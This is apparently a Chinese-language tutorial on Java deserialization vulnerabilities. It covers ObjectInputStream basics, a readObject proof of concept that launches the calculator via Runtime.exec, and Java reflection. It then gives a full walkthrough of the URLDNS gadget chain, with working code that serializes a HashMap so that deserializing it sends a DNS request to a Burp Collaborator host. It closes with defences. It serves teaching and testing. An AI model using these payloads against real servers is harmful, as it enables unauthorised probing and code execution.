Java反序列化漏洞基础

序列化与反序列化简介

序列化是将对象的状态信息转化为可以存储或者传输的形式的过程,一般将一个对象存储到一个存储媒介,在网络传输过程中,可以是字节或者是XML等格式,而字节或者XML格式的可以还原成完全相等的对象,这个过程称之为反序列化。

java提供了一种对象序列化的机制,在这种机制下,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。

将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化。类 ObjectInputStreamObjectOutputStream是高层次的数据流,它们包含反序列化和序列化对象的方法。

其中ObjectOutputStream类包含很多写方法来写各种数据类型,除了writeObject方法,writeObject方法用于序列化一个对象,并将它发送到输出流。相反对于ObjectOutputStream类中包含一个readObject方法,该方法从流中取出下一个对象,并将对象反序列化,返回值为Object

总的来说可以总结为在java中,序列化与反序列化的处理需要以下三步

  • ObjectOutputStream类中的writeObject方法用来处理需要序列化的对象。
  • ObjectInputStream类中的readObject方法用来处理反序列化。
  • 被序列化的类要实现java.io.Serializable接口。

序列化及反序列化相关接口及类如下

1
2
3
4
5
6
java.io.Serializable
java.io.Externalizable
ObjectOutput
ObjectInput
ObjectOutputStream
ObjectInputStream

实验环境

  • java环境:jdk1.8.0_191
  • 电脑系统:macOS Big Sur 11.4
  • IDE:IntelliJ IDEA

安全问题

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,就会给攻击者在服务器上运行代码的能力。

问题1

入口类的readObject直接调用危险方法。

定义一个Person类,并在类中重写readObject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;


public class Person implements Serializable {
private transient String name;
private int age;

public Person(){

}

public Person(String name,int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
",age=" + age +
'}';

}

private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("open -a calculator");
}
}

首先执行序列化代码,其中ObjectOutputStream是对象的序列化流,它的作用是把对象转成字节数据之后输出到文件中保存,对象的输出过程称之为序列化,可以实现对象的持久存储,FileOutputStream被称为文件字节输出流,将输入的内容写入ser.bin文件中,之后通过writeObject来处理对象的序列化。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception {
Person person = new Person("elssm",22);
System.out.println(person);
serialize(person);
}
}

在java反序列化传送的包中,一般有两种传送方式,通过这两种方式的流量分析则可判断是否存在java反序列化

  • TCP:在16进制流中存在ac ed 00 05
  • HTTP:base64编码之后存在rO0AB

1

之后执行反序列化代码,其中ObjectInputStream是反序列化流,目的是将之前使用 ObjectOutputStream序列化的原始数据恢复为对象,以流的方式读取对象。 FileInputStream被称为文件字节输入流,读取ser.bin中的内容,之后通过readObject实现对象的反序列化。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

由于我们传入了一个Person类,并在Person类中重写了readObject方法,因此在反序列化的时候就会执行person类中重写的readObject代码,从而达到命令执行的效果。

2

URLDNS反序列化漏洞学习

URLDNS是反序列化时经常会用到的链,通常用于快速检测是否存在反序列化漏洞。当我们想确认服务器是否存在反序列化时,可以通过URL dns解析,如果被解析的话,则可以判断该服务器存在反序列化。在学习该漏洞之前,需要了解一些java反射相关知识。

Java反射

一般情况下,当我们使用某一个类的时候,我们一定是清楚这个类的作用,因此才会对这个类进行实例化。之后使用实例化之后的类对象进行操作。这样的操作可以理解为是“正射”。

Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。

java反射举例

一个简单的反射例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class Person {
public String name;
private int age;

public Person() {
}

public Person(String name,int age) {
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
",age=" + age +
'}';

}

public static void main(String[] args) throws Exception{
//加载Class类对象
Class c = Class.forName("Person");
//根据 Class 对象实例获取 Constructor 对象,这里获取的是有参构造方法
Constructor perCon = c.getConstructor(String.class,int.class);
//通过 Constructor 对象的 newInstance() 方法实例化类对象
Person person = (Person) perCon.newInstance("elssm",22);
System.out.println(person);
}
}
java反射API

17

URLDNS链路分析

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1
2
3
4
5
Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

这里选择HashMap作为入口类的原因是因为HashMap已经继承了Serializable,并且HashMap的类型较为宽泛。

首先查看HashMapreadObject方法,发现在最后读取了keyvalue,对key调用了hash函数,重新计算key的哈希值。

6

7

跟进hash函数,发现当Object类型的key不为空时,就会调用keyhashCode函数。

8

Java中与HTTP相关的是URL类,通过查看URL类发现继承了java.io.Serializable接口,故而考虑是否可以反序列化。

3

正常发起请求是通过URLConnection类中的openConnection方法实现,通过分析发现在openConnection之后的执行过程中并不存在反序列化,因此可以从一个最常见的函数hashCode函数开始。在hashCode函数中首先会判断hashCode是否等于-1,如果不等于就返回。如果等于-1就会调用handlerhashCode函数。

4

跟进handlerhashCode函数,发现该函数做了一个域名解析的工作,这样可以得到一个DNS请求,从而帮助我们验证是否存在漏洞。

5

因此总结下来的调用链就是

1
2
3
4
5
6
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
实验

首先用Burp生成一个接收DNS请求的URL

9

10

构造序列化hashmap代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://ymohh3hbo4k4eoujmuxg1eij6ac00p.burpcollaborator.net");
hashmap.put(url,1);
serialize(hashmap);
}
}

正常情况下在序列化的过程中应该什么也不会发生,但是我们发现实际上在序列化的过程中已经接收到了请求。

11

分析发现当调用hashmap.put的时候,为了保证键的唯一,会调用hash方法,从而执行了hashCode方法。因此在序列化之前,就已经发起了DNS请求。因为这里的key是URL,而在URL的hashCode函数中,hashCode变量的初始值是-1,并且是私有属性。因此会执行handler.hashCode操作,进而发起DNS请求。DNS请求结束之后,hashCode变量的值已经是url经过哈希之后的值,所以这个值肯定不是-1,所以对于序列化之后的反序列化操作并没有用。

12

13

14

总之,这个序列化操作是在hashCode不等于-1的状态下进行的,因此在后面反序列化的时候也不会执行相关命令。

这里我们在执行反序列化操作之后发现并没有收到请求。

11

为了达到攻击效果,我们要做的就是在hashmap.put之前将hashcode的值改为不是-1,这样就会直接返回hashcode从而不会发起DNS请求,在序列化之前将hashcode的值改为-1,这样就会执行后续的handler.hashCode操作。从而在反序列化的时候重新计算hashcode的值,进而发起DNS请求,因此我们可以使用反射的方法来改变已有对象的属性。

序列化代码如下,执行之后发现并没有收到DNS请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception {

HashMap<URL,Integer> hashmap = new HashMap<>();
//这里不发起请求,将url对象的hashcode改为不是-1
URL url = new URL("http://6kriz54pcbef87xbzcjk2w70xr3ir7.burpcollaborator.net");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//序列化之前将hashcode改为-1
hashcodefield.set(url,-1);
serialize(hashmap);
}
}

反序列化代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}

执行反序列化代码之后,收到DNS请求。

15

debug调试反序列化的代码发现hashcode的值已经修改成功,这样就验证了URLDNS反序列化漏洞。

16

反序列化漏洞如何防范

  • 类白名单校验

    ObjectInputStream类中的resolveClass方法中只是进行了class是否能被加载,因此可以自定义ObjectInputStream,之后重载resolveClass方法,对className进行白名单校验。

  • 禁止JVM执行外部命令Runtime.exec

    通过扩展SecurityManager实现

参考资料